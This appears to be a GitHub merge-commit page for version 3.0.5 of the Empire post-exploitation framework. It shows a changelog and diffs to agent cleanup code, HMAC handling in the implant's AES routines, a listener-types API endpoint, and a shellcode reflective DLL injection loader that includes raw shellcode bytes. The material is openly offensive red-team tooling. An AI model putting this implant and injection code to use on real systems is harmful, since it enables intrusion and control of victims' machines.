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Merge pull request #80 from BC-SECURITY/dev
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1/21/2020
------------
- Version 3.0.5 Master Release
    - Fixed setup_database.py python3 issue - #75 (@linxon)
    - Added loaded listener types to API - #78 (@vinnybod)
    - Fixed python launcherBase (@Cx01N)
    - Updated Python 3.8 compatibility in stager - #72 (@complana)
    - Fixed Powerup Invoke-allchecks issue - #64 (@SkiddieTech)
    - Fixed shellcode stager - #76 (@Hubbl3)
    - Fixed binary upload error - #55 (@Hubbl3)
    - Fixed multi/bash error (@Cx01N)
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Cx01N authored Jan 21, 2020
2 parents 4c94940 + 0077d02 commit 998b490
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2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.0.4
3.0.5
13 changes: 12 additions & 1 deletion changelog
Original file line number Diff line number Diff line change
@@ -1,9 +1,20 @@
1/21/2020
------------
- Version 3.0.5 Master Release
- Fixed setup_database.py python3 issue - #75 (@linxon)
- Added loaded listener types to API - #78 (@Vinnybod)
- Fixed python launcherBase (@Cx01N)
- Updated Python 3.8 compatibility in stager - #72 (@complana)
- Fixed Powerup Invoke-allchecks issue - #64 (@SkiddieTech)
- Fixed shellcode stager - #76 (@Hubbl3)
- Fixed binary upload error - #55 (@Hubbl3)
- Fixed multi/bash error (@Cx01N)

1/14/2020
------------
- Version 3.0.4 Master Release
- Fixed data/agents.py error - #70 (@sbrun)


1/13/2020
------------
- Version 3.0.3 Master Release
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2 changes: 0 additions & 2 deletions data/agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -730,9 +730,7 @@ def dec_data(self, data, cheader=True):

def agent_exit():
# exit for proper job / thread cleanup
print('exiting agent')
if len(jobs) > 0:
print('jobs still running')
try:
for x in jobs:
jobs[int(x)].kill()
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6 changes: 3 additions & 3 deletions data/agent/stagers/common/aes.py
Original file line number Diff line number Diff line change
Expand Up @@ -325,7 +325,7 @@ def aes_encrypt_then_hmac(key, data):
data = bytes(data, 'UTF-8')

data = aes_encrypt(key, data)
mac = hmac.new(key, data, hashlib.sha256).digest()
mac = hmac.new(key, data, digestmod=hashlib.sha256).digest()
return data + mac[0:10]


Expand All @@ -349,10 +349,10 @@ def verify_hmac(key, data):
if len(data) > 20:
mac = data[-10:]
data = data[:-10]
expected = hmac.new(key, data, hashlib.sha256).digest()[0:10]
expected = hmac.new(key, data, digestmod=hashlib.sha256).digest()[0:10]
# Double HMAC to prevent timing attacks. hmac.compare_digest() is
# preferable, but only available since Python 2.7.7.
return hmac.new(key, expected).digest() == hmac.new(key, mac).digest()
return hmac.new(key, expected, digestmod=hashlib.sha256).digest() == hmac.new(key, mac, digestmod=hashlib.sha256).digest()
else:
return False

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8 changes: 8 additions & 0 deletions empire
Original file line number Diff line number Diff line change
Expand Up @@ -131,6 +131,7 @@ def get_permanent_token(conn):
#
# GET http://localhost:1337/api/listeners return all current listeners
# GET http://localhost:1337/api/listeners/Y return the listener with id Y
# GET http://localhost:1337/api/listeners/types Returns a list of the loaded listeners that are available for use
# GET http://localhost:1337/api/listeners/options return all listener options
# POST http://localhost:1337/api/listeners starts a new listener with the specified options
# DELETE http://localhost:1337/api/listeners/Y kills listener Y
Expand Down Expand Up @@ -710,6 +711,13 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
else:
return make_response(jsonify({'error': 'listener name %s not found' %(listener_name)}), 404)

@app.route('/api/listeners/types', methods=['GET'])
def get_listener_types():
"""
Returns a list of the loaded listeners that are available for use.
"""

return jsonify({'types' : list(main.listeners.loadedListeners.keys())})

@app.route('/api/listeners/options/<string:listener_type>', methods=['GET'])
def get_listener_options(listener_type):
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61 changes: 31 additions & 30 deletions lib/common/ShellcodeRDI.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,52 +2,54 @@
# Author: Nick Landers (@monogas)

import sys

import pefile
from struct import pack


def is64BitDLL(bytes):
pe = pefile.PE(data=bytes, fast_load=True)
pe = pefile.PE(data=bytes, fast_load=True)
return (pe.OPTIONAL_HEADER.Magic == 0x20b)


ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))

def HashFunctionName(name, module = None):

function = name.encode('UTF-16LE') + b'\x00'
def HashFunctionName(name, module=None):
function = name.encode('UTF-16LE') + b'\x00'

if(module):
module = module.upper().encode('UTF-16LE') + b'\x00\x00'
if (module):
module = module.upper().encode('UTF-16LE') + b'\x00\x00'

functionHash = 0
functionHash = 0

for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b

moduleHash = 0
moduleHash = 0

for b in module:
moduleHash = ror(moduleHash, 13, 32)
moduleHash += b
for b in module:
moduleHash = ror(moduleHash, 13, 32)
moduleHash += b

functionHash += moduleHash
functionHash += moduleHash

if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000

else:
functionHash = 0
else:
functionHash = 0

for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b

return functionHash
return functionHash

def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):

def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):
rdiShellcode32 = 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56\x18\x85\xD2\x0F\x85\x6B\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x10\xC3\x8B\x74\x24\x10\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"
rdiShellcode64 = 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10\x57\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xF1\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB4\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x33\xD2\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x42\x8B\x9C\x00\x88\x00\x00\x00\x85\xDB\x74\xD4\x48\x8B\x04\x24\x48\xC1\xE8\x10\x44\x0F\xB7\xD0\x45\x85\xD2\x74\x21\x48\x8B\x4C\x24\x08\x45\x8B\xDA\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEB\x01\x75\xE7\x4D\x8D\x14\x18\x33\xC9\x41\x8B\x7A\x20\x49\x03\xF8\x41\x39\x4A\x18\x76\x8F\x8B\x1F\x45\x33\xDB\x49\x03\xD8\x48\x8D\x7F\x04\x0F\xBE\x03\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD8\x80\x7B\xFF\x00\x75\xED\x41\x8D\x04\x13\x3B\xC6\x74\x0D\xFF\xC1\x41\x3B\x4A\x18\x72\xD1\xE9\x5B\xFF\xFF\xFF\x41\x8B\x42\x24\x03\xC9\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x74\x24\x28\x48\x83\xC4\x10\x5F\xC3"

Expand Down Expand Up @@ -99,7 +101,7 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):

# sub rsp, 0x30 - Create some breathing room on the stack
bootstrap += b'\x48\x83\xec'
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment

# mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
bootstrap += b'\xC7\x44\x24'
Expand All @@ -108,7 +110,7 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):

# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'

# mov rsp, rsi - Reset our original stack pointer
Expand All @@ -119,15 +121,14 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):

# ret - return to caller
bootstrap += b'\xc3'

# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdiShellcode + dllBytes + userData

else: # 32 bit
else: # 32 bit
rdiShellcode = rdiShellcode32

bootstrap = b''
Expand Down Expand Up @@ -174,7 +175,7 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):

# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'

# add esp, 0x14 - correct the stack pointer
Expand Down
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